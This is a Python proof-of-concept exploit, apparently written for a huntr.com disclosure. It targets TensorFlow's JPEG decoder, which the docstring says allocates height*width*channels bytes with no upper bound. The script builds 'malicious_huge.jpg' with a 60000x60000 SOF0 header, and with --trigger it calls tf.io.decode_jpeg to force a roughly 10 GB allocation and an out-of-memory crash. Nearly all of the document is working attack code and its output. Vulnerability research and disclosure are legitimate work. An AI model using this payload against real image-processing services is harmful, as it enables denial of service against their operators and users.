| |
| """ |
| PoC: TensorFlow JPEG Decoder Unbounded Memory Allocation (DoS) |
| CVE: TBD | CWE-770 | CVSS 7.5 |
| |
| Vulnerability: |
| tensorflow/core/kernels/image/decode_image_op.cc β DecodeJpegV2 reads |
| height/width from the JPEG SOF header and allocates height*width*channels |
| bytes WITHOUT any upper bound check. |
| |
| Compare with DecodeBmpV2 (SAME FILE) which checks: |
| OP_REQUIRES(context, total_bytes < (1LL << 30), ...) |
| |
| JPEG is the MOST COMMON image format β every TF image pipeline is affected. |
| |
| Attack: |
| Craft a JPEG with SOF0 declaring width=60000, height=60000. |
| TF attempts to allocate 60000 * 60000 * 3 = ~10 GB. |
| tf.io.decode_jpeg() on this file β OOM crash. |
| |
| Unlike GIF (companion finding), JPEG affects: |
| - tf.io.decode_jpeg() |
| - tf.io.decode_image() |
| - tf.keras.preprocessing.image.load_img() |
| - All tf.data image pipelines |
| |
| Usage: |
| python3 poc_exploit.py # generates malicious.jpg |
| python3 poc_exploit.py --trigger # also triggers crash via TF |
| |
| Author: security research (huntr.com submission) |
| """ |
|
|
| import sys |
| import os |
| import struct |
|
|
| OUTPUT_FILE = 'malicious_huge.jpg' |
|
|
|
|
| def create_malicious_jpeg(width: int = 60000, height: int = 60000, |
| channels: int = 3) -> bytes: |
| """ |
| Craft a minimal JPEG file with SOF0 declaring extreme dimensions. |
| |
| JPEG structure used: |
| SOI β APP0 (JFIF) β SOF0 (huge dimensions) β DHT β EOI |
| |
| libjpeg reads SOF0 and returns width/height to TensorFlow. |
| TF then calls allocate_output(TensorShape({height, width, channels})) |
| without checking the total size. |
| """ |
|
|
| |
| data = b'\xFF\xD8' |
|
|
| |
| jfif = b'JFIF\x00' |
| jfif += struct.pack('>BB', 1, 2) |
| jfif += b'\x00' |
| jfif += struct.pack('>HH', 1, 1) |
| jfif += b'\x00\x00' |
| data += b'\xFF\xE0' + struct.pack('>H', len(jfif) + 2) + jfif |
|
|
| |
| |
| |
| |
| precision = 8 |
|
|
| sof0_body = struct.pack('>B', precision) |
| sof0_body += struct.pack('>H', height) |
| sof0_body += struct.pack('>H', width) |
| sof0_body += struct.pack('>B', channels) |
|
|
| for comp_id in range(1, channels + 1): |
| sof0_body += struct.pack('>BBB', comp_id, 0x11, 0) |
|
|
| sof0_length = len(sof0_body) + 2 |
| data += b'\xFF\xC0' + struct.pack('>H', sof0_length) + sof0_body |
|
|
| |
| |
| dht_body = bytes([0x00]) |
| dht_body += bytes([0] * 16) |
| |
| data += b'\xFF\xC4' + struct.pack('>H', len(dht_body) + 2) + dht_body |
|
|
| |
| dqt_body = bytes([0x00]) |
| dqt_body += bytes([16] * 64) |
| data += b'\xFF\xDB' + struct.pack('>H', len(dqt_body) + 2) + dqt_body |
|
|
| |
| sos_body = struct.pack('>B', channels) |
| for comp_id in range(1, channels + 1): |
| sos_body += struct.pack('>BB', comp_id, 0x00) |
| sos_body += bytes([0, 63, 0]) |
| data += b'\xFF\xDA' + struct.pack('>H', len(sos_body) + 2) + sos_body |
|
|
| |
| data += b'\xFF\x00' * 4 |
| data += b'\x00' * 8 |
|
|
| |
| data += b'\xFF\xD9' |
|
|
| total_bytes_attempt = height * width * channels |
| bmp_limit = 1 << 30 |
|
|
| print(f"[*] Crafted malicious JPEG:") |
| print(f" Dimensions : {width:,} x {height:,} x {channels} (RGB)") |
| print(f" Alloc attempt: {total_bytes_attempt:,} bytes = " |
| f"{total_bytes_attempt / 1e9:.1f} GB") |
| print(f" File size : {len(data)} bytes (minimal header)") |
| print(f" BMP limit : {bmp_limit:,} bytes (2^30) β would BLOCK") |
| print(f" PNG limit : {1<<29:,} bytes (2^29) β would BLOCK") |
| print(f" JPEG limit : NONE β TF allocates {total_bytes_attempt/1e9:.1f} GB β CRASH") |
|
|
| return data |
|
|
|
|
| def main(): |
| trigger = '--trigger' in sys.argv |
|
|
| payload = create_malicious_jpeg() |
| with open(OUTPUT_FILE, 'wb') as f: |
| f.write(payload) |
| print(f"\n[+] Malicious JPEG written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)") |
|
|
| if trigger: |
| print(f"\n[*] Triggering via tf.io.decode_jpeg()...") |
| try: |
| import tensorflow as tf |
| print(f" TensorFlow version: {tf.__version__}") |
|
|
| jpeg_bytes = open(OUTPUT_FILE, 'rb').read() |
|
|
| |
| result = tf.io.decode_jpeg(jpeg_bytes, channels=3) |
| print(f"[-] Unexpected success: shape={result.shape}") |
|
|
| except Exception as e: |
| name = type(e).__name__ |
| if 'OOM' in str(e) or 'ResourceExhausted' in name or 'Memory' in name: |
| print(f"[+] CRASH CONFIRMED: {name}") |
| print(f" TF attempted to allocate a {60000*60000*3/1e9:.1f} GB tensor") |
| else: |
| print(f"[~] Exception: {name}: {e}") |
| else: |
| print(f"\n[i] Run with --trigger to demonstrate the crash:") |
| print(f" python3 {sys.argv[0]} --trigger") |
| print(f"\n Also works via:") |
| print(f" >>> import tensorflow as tf") |
| print(f" >>> tf.io.decode_image(open('{OUTPUT_FILE}','rb').read())") |
|
|
|
|
| if __name__ == '__main__': |
| main() |
|
|